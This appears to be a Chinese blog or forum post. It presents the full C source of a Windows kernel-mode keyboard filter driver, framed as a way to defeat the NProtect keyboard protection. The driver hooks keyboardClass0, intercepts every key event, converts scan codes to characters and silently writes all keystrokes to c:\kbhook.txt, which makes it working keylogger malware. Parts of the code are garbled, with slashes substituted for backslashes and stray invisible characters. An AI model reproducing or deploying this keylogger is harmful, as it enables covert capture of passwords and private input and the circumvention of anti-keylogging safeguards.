NProtect,是用驱动加载进入ring0级别,每个进程注入一个钩子,

用键盘中断技术写的一个钩子,

本人就用驱动对付他,

废话少说,看代码,


//#include  <ntddk.h>

#include "kbhook.h"

#include "ScanCode.h"

#include   <windef.h>

int numPendingIrps=0;

//

//ICTOL 以及控制设备的相关变量

//

#define IOCTL_PASSPROCESSID /

    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

UNICODE_STRING  devNameUnicd;

UNICODE_STRING  devLinkUnicd;

PDEVICE_OBJECT  pDevice;  //控制设备的设备对象

NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp); //DeviceIoControl的处理函数

VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )

{   

 KTIMER kTimer;

 LARGE_INTEGER timeout; 

 PDEVICE_EXTENSION pKeyboradDeviceExtension;

 pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;

 IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);

 timeout.QuadPart=1000000;//1s

 KeInitializeTimer(&kTimer);

 while(numPendingIrps > 0)

 {

  KeSetTimer(&kTimer,timeout,NULL);

  KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);


 }

 pKeyboradDeviceExtension->bThreadTerminate=TRUE;

 KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会

 KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,

  Executive,KernelMode,FALSE,NULL);             //结束独立的记录线程

 ZwClose(pKeyboradDeviceExtension->hLogFile);      //关闭文件句柄

 IoDeleteDevice(theDriverObject->DeviceObject);    //删除设备对象


 IoDeleteSymbolicLink(&devLinkUnicd);

 IoDeleteDevice(pDevice);

 DbgPrint("My Driver Unloaded!");

 return;

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)

{


 NTSTATUS status={0};

 int i;

 PDEVICE_EXTENSION pKeyboardDeviceExtension;


 IO_STATUS_BLOCK file_status;

 OBJECT_ATTRIBUTES obj_attrib;

 CCHAR ntNameFile[100]="//DosDevices//c://kbhook.txt";

 STRING ntNameString;

 UNICODE_STRING uFileName;


 for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)


  theDriverObject->MajorFunction[i] = DispatchPassDown;

 theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;


 HookKeyboard(theDriverObject);

 //建立一个线程用来记录键盘动作

 InitThreadKeyLogger(theDriverObject);


 /

 初始化一个旋转锁来访问链表///

 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;

 InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

 KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

 KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);

 创建一个纪录文件///

 RtlInitAnsiString(&ntNameString,ntNameFile);

 RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);

 InitializeObjectAttributes(&obj_attrib,&uFileName,

        OBJ_CASE_INSENSITIVE,

        NULL,NULL);


 status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,

  GENERIC_WRITE,

  &obj_attrib,

  &file_status,

  NULL,

  FILE_ATTRIBUTE_NORMAL,

  0,

  FILE_OPEN_IF,

  FILE_SYNCHRONOUS_IO_NONALERT,

  NULL,

  0);

 RtlFreeUnicodeString(&uFileName);


 theDriverObject->DriverUnload=OnUnload;

  //NTSTATUS  Status;

  //PDEVICE_OBJECT  pDevice;

  RtlInitUnicodeString(&devNameUnicd,L"//Device//PANZER3");

  RtlInitUnicodeString(&devLinkUnicd,L"//??//PANZER3");

  status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN,

      0,FALSE,&pDevice);

   if(!NT_SUCCESS(status))

  {

      DbgPrint(("Can not create device./n"));

      return status;

  }

  status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd);

  if(!NT_SUCCESS(status))

  {

      DbgPrint(("Can not create device.SymbolicLink/n"));

      return status;

   }

  theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=

       theDriverObject->MajorFunction[IRP_MJ_CREATE]=

           theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;

  DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice);

 return STATUS_SUCCESS;


}

NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)

{   ///IRQL = passive level

 //建立过滤驱动对象

 PDEVICE_EXTENSION pKeyboardDeviceExtension;

 PDEVICE_OBJECT pKeyboardDeviceObject;

 CCHAR ntNameBuffer[50]="//Device//keyboardClass0";

 STRING ntNameString;

 UNICODE_STRING uKeyboardDevice;


 NTSTATUS status=IoCreateDevice(theDriverObject,

        sizeof(DEVICE_EXTENSION),

        NULL,

        FILE_DEVICE_KEYBOARD, //★注意这里

        0,

        TRUE,

        &pKeyboardDeviceObject);

 if(!NT_SUCCESS(status))

  return status;

 /// 设置新设备的标志与地层键盘设备标记相同

 pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;

 pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;

 //在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。

 //然而,如果创建了其它设备对象,则需要进行该清除工作。

 //对DEVICE_EXTENSION结构清0


 RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));


 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

 /把keyboardClass0转换成一个UNICODE字符串//


 RtlInitAnsiString(&ntNameString,ntNameBuffer);

 RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);

 //准备工作完成后放置过滤钩子

 IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,

  &pKeyboardDeviceExtension->pKeyboardDevice);

 RtlFreeUnicodeString(&uKeyboardDevice);


 return STATUS_SUCCESS;

}

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)

{// IRQL = passive level

 PDEVICE_EXTENSION pKeyboardDeviceExtension;

 HANDLE hThread;

 NTSTATUS status;

 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;

 //设置线程状态

 pKeyboardDeviceExtension->bThreadTerminate=FALSE;

 创建一个线程用来记录

 status=PsCreateSystemThread(&hThread,

        (ACCESS_MASK)0,

        NULL,

        (HANDLE)0,

        NULL,

        ThreadKeyLogger,

        pKeyboardDeviceExtension);

 if(!NT_SUCCESS(status))

  return status;

 ///转换保存指向线程对象的指针

 ObReferenceObjectByHandle(hThread,

        THREAD_ALL_ACCESS,

        NULL,

        KernelMode,

        (PVOID*)&pKeyboardDeviceExtension->pThreadObject,

        NULL);

 ZwClose(hThread);

 return status;

}

NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)

{   // IRQL = passive level

 IoSkipCurrentIrpStackLocation(pIrp);

 return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);


}

NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)

{ // IRQL = DISPATCH_LEVEL



 IoCopyCurrentIrpStackLocationToNext(pIrp);


 IoSetCompletionRoutine(pIrp,

  OnReadCompletion,

  theDeviceObject,

  TRUE,

  TRUE,

  TRUE);



 numPendingIrps++;  //纪录挂起的irp数目


 return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);

}

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)

{// IRQL = DISPATCH_LEVEL

 PKEYBOARD_INPUT_DATA keys;

 int numKeys;

 int i;

 KEY_DATA* kData;

 PDEVICE_EXTENSION pKeyboardDeviceExtension;

 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;

 if(pIrp->IoStatus.Status==STATUS_SUCCESS)

 {


  keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

  numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);

  for( i=0;i<numKeys;i++)

  {

   if(keys[i].Flags==KEY_MAKE)

    DbgPrint("%s/n","Key Down,IrpCallBack FUN");

   kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));

   kData->KeyData=(char)keys[i].MakeCode;

   kData->KeyFlags=(char)keys[i].Flags;

   /创建一个链表将击键动作传递给worker线程/

   ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,

    &kData->ListEntry,

    &pKeyboardDeviceExtension->lockQueue);  //★注意同步

   KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);


  }


 }

 if(pIrp->PendingReturned)

  IoMarkIrpPending(pIrp);

 numPendingIrps--;

 return pIrp->IoStatus.Status;

}

VOID ThreadKeyLogger(IN PVOID pContext)

{// IRQL = passive level

 PDEVICE_OBJECT pKeyboardDeviceObject;

 PDEVICE_EXTENSION pKeyboardDeviceExtension;

 PLIST_ENTRY pListEntry;

 KEY_DATA* kData;

 char keys[3]={0};


 pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;

 pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;

 //等待信号量,若信号量递增,则继续运行处理循环

 while(TRUE)

 {

  KeWaitForSingleObject(

   &pKeyboardDeviceExtension->semQueue,

   Executive,

   KernelMode,

   FALSE,

   NULL);

  //在链表中安全删除了最高顶端//

  pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,

   &pKeyboardDeviceExtension->lockQueue);

  if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)

  {

   PsTerminateSystemThread(STATUS_SUCCESS);

  }

  kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);


  ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

  ExFreePool(kData);  //删除内存

  if(keys!=0)

  {

   if(pKeyboardDeviceExtension->hLogFile!=NULL)

   {

    IO_STATUS_BLOCK io_status;

    NTSTATUS status;

    status=ZwWriteFile(

     pKeyboardDeviceExtension->hLogFile,

     NULL,

     NULL,

     NULL,

     &io_status,

     &keys,

     strlen(keys),

     NULL,

     NULL);

    if(status!=STATUS_SUCCESS)

     DbgPrint("write code to file fail!");

   }

  }  

 }

 return;

}

//ConvertScanCodeToKeyCode 函数用来转换接受的击键码

//

//控制设备的IOControl函数

//

 NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp)

{

   PIO_STACK_LOCATION  irpStack;

   NTSTATUS  Status;

   PVOID    InPutBuffer;

   ULONG  ioControlCode;

   ULONG  OutPutLen;

   PEPROCESS Process;


   ULONG IOPL = 1;

   HANDLE hProc;

   HANDLE *pBuff = NULL;

   Status=STATUS_SUCCESS;

   if(pDeviceObject != pDevice)

   {

   DbgPrint("keyboard filter!");

   IoSkipCurrentIrpStackLocation(pIrp);

 return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);

 }

   irpStack=IoGetCurrentIrpStackLocation(pIrp);

   ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;

   switch(irpStack->MajorFunction)

   {

  case  IRP_MJ_CREATE:

    DbgPrint("Call IRP_MJ_CREATE/n");

    break;

  case  IRP_MJ_CLOSE:

    DbgPrint("Call IRP_MJ_CLOSE/n");

    break;

  case  IRP_MJ_DEVICE_CONTROL:

    OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;

    switch(ioControlCode)

    {

   case IOCTL_PASSPROCESSID:

    {

        /*_asm

        {

            mov dx, 0x64

            mov al, 0xFE

            out dx, al

       }*/

                             DbgPrint("ioControlCode/n");


    }

     break;

   default:

     break;

    }

    break;

  default:

    DbgPrint("no match control/n");

    break;

   }

   pIrp->IoStatus.Status = Status;

   pIrp->IoStatus.Information = 0;

   IoCompleteRequest (pIrp, IO_NO_INCREMENT);

   return  Status;

}


#include "ntddk.h"

#include "ntddkbd.h"

#include "kbhook.h"

#include "ScanCode.h"


#define INVALID 0X00 //scan code not supported by this driver

#define SPACE 0X01 //space bar

#define ENTER 0X02 //enter key

#define LSHIFT 0x03 //left shift key

#define RSHIFT 0x04 //right shift key

#define CTRL  0x05 //control key

#define ALT   0x06 //alt key

char KeyMap[84] = {

 INVALID, //0

  INVALID, //1

  '1', //2

  '2', //3

  '3', //4

  '4', //5

  '5', //6

  '6', //7

  '7', //8

  '8', //9

  '9', //A

  '0', //B

  '-', //C

  '=', //D

  INVALID, //E

  INVALID, //F

  'q', //10

  'w', //11

  'e', //12

  'r', //13

  't', //14

  'y', //15

  'u', //16

  'i', //17

  'o', //18

  'p', //19

  '[', //1A

  ']', //1B

  ENTER, //1C

  CTRL, //1D

  'a', //1E

  's', //1F

  'd', //20

  'f', //21

  'g', //22

  'h', //23

  'j', //24

  'k', //25

  'l', //26

  ';', //27

  '/'', //28

  '`', //29

  LSHIFT, //2A

  '//', //2B

  'z', //2C

  'x', //2D

  'c', //2E

  'v', //2F

  'b', //30

  'n', //31

  'm' , //32

  ',', //33

  '.', //34

  '/', //35

  RSHIFT, //36

  INVALID, //37

  ALT, //38

  SPACE, //39

  INVALID, //3A

  INVALID, //3B

  INVALID, //3C

  INVALID, //3D

  INVALID, //3E

  INVALID, //3F

  INVALID, //40

  INVALID, //41

  INVALID, //42

  INVALID, //43

  INVALID, //44

  INVALID, //45

  INVALID, //46

  '7', //47

  '8', //48

  '9', //49

  INVALID, //4A

  '4', //4B

  '5', //4C

  '6', //4D

  INVALID, //4E

  '1', //4F

  '2', //50

  '3', //51

  '0', //52

};

int flag;  //CAP STATUS

char ExtendedKeyMap[84] = {

 INVALID, //0

  INVALID, //1

  '!', //2

  ​​'@'​​, //3

  '#', //4

  '$', //5

  '%', //6

  '^', //7

  '&', //8

  '*', //9

  '(', //A

  ')', //B

  '_', //C

  '+', //D

  INVALID, //E

  INVALID, //F

  'Q', //10

  'W', //11

  'E', //12

  'R', //13

  'T', //14

  'Y', //15

  'U', //16

  'I', //17

  'O', //18

  'P', //19

  '{', //1A

  '}', //1B

  ENTER, //1C

  INVALID, //1D

  'A', //1E

  'S', //1F

  'D', //20

  'F', //21

  'G', //22

  'H', //23

  'J', //24

  'K', //25

  'L', //26

  ':', //27

  '"', //28

  '~', //29

  LSHIFT, //2A

  '|', //2B

  'Z', //2C

  'X', //2D

  'C', //2E

  'V', //2F

  'B', //30

  'N', //31

  'M' , //32

  '<', //33

  '>', //34

  '?', //35

  RSHIFT, //36

  INVALID, //37

  INVALID, //38

  SPACE, //39

  INVALID, //3A

  INVALID, //3B

  INVALID, //3C

  INVALID, //3D

  INVALID, //3E

  INVALID, //3F

  INVALID, //40

  INVALID, //41

  INVALID, //42

  INVALID, //43

  INVALID, //44

  INVALID, //45

  INVALID, //46

  '7', //47

  '8', //48

  '9', //49

  INVALID, //4A

  '4', //4B

  '5', //4C

  '6', //4D

  INVALID, //4E

  '1', //4F

  '2', //50

  '3', //51

  '0', //52

};

VOID ConvertScanCodeToKeyCode(PDEVICE_EXTENSION pDevExt, KEY_DATA* kData, char* keys)

{


 char key = 0;

 PIRP irp;

 KEVENT event = {0};

 KEYBOARD_INDICATOR_PARAMETERS indParams = {0};

 IO_STATUS_BLOCK ioStatus = {0};

 NTSTATUS status = {0};

 key = KeyMap[kData->KeyData];




 KeInitializeEvent(&event, NotificationEvent, FALSE);


 irp = IoBuildDeviceIoControlRequest(IOCTL_KEYBOARD_QUERY_INDICATORS,pDevExt->pKeyboardDevice,

  NULL,0,&indParams,sizeof(KEYBOARD_ATTRIBUTES),TRUE,&event,&ioStatus);

 status = IoCallDriver(pDevExt->pKeyboardDevice, irp);


 if (status == STATUS_PENDING)

 {

  (VOID) KeWaitForSingleObject(&event,Suspended,KernelMode,

   FALSE,NULL);

 }


 status = irp->IoStatus.Status;


 if(status == STATUS_SUCCESS)

 {

  indParams = *(PKEYBOARD_INDICATOR_PARAMETERS)irp->AssociatedIrp.SystemBuffer;

  if(irp)

  {

    flag = (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON);

   //DbgPrint("Caps Lock Indicator Status: %x./n",flag);

  }

  else

  {

   DbgPrint("Error allocating Irp");

   flag = 0;

  }

 }//end if


 switch(key)

 {


 case LSHIFT:

  if(kData->KeyFlags == KEY_MAKE)

   pDevExt->kState.kSHIFT = TRUE;

  else

   pDevExt->kState.kSHIFT = FALSE;

  break;


 case RSHIFT:

  if(kData->KeyFlags == KEY_MAKE)

   pDevExt->kState.kSHIFT = TRUE;

  else

   pDevExt->kState.kSHIFT = FALSE;

  break;


 case CTRL:

  if(kData->KeyFlags == KEY_MAKE)

   pDevExt->kState.kCTRL = TRUE;

  else

   pDevExt->kState.kCTRL = FALSE;

  break;



 case ALT:

  if(kData->KeyFlags == KEY_MAKE)

   pDevExt->kState.kALT = TRUE;

  else

   pDevExt->kState.kALT = FALSE;

  break;



 case SPACE:

  if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK))

   keys[0] = 0x20;   

  break;


 case ENTER:

  if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK))

  {        

   keys[0] = 0x0D;    

   keys[1] = 0x0A;

  }//end if

  break;



 default:

  if((pDevExt->kState.kALT != TRUE) && (pDevExt->kState.kCTRL != TRUE) && (kData->KeyFlags == KEY_BREAK)) //don't convert if ALT or CTRL is pressed

  {

   if((key >= 0x21) && (key <= 0x7E)) //don't convert non alpha numeric keys

   {

    if(pDevExt->kState.kSHIFT == TRUE)

     keys[0] = ExtendedKeyMap[kData->KeyData];

    else 

     keys[0] = key;

    DbgPrint("Caps  %x.ScanCode: %s",flag,keys);

   }//end if

  }//end if

  break;

 }//end switch(keys)

}//end ConvertScanCodeToKeyCode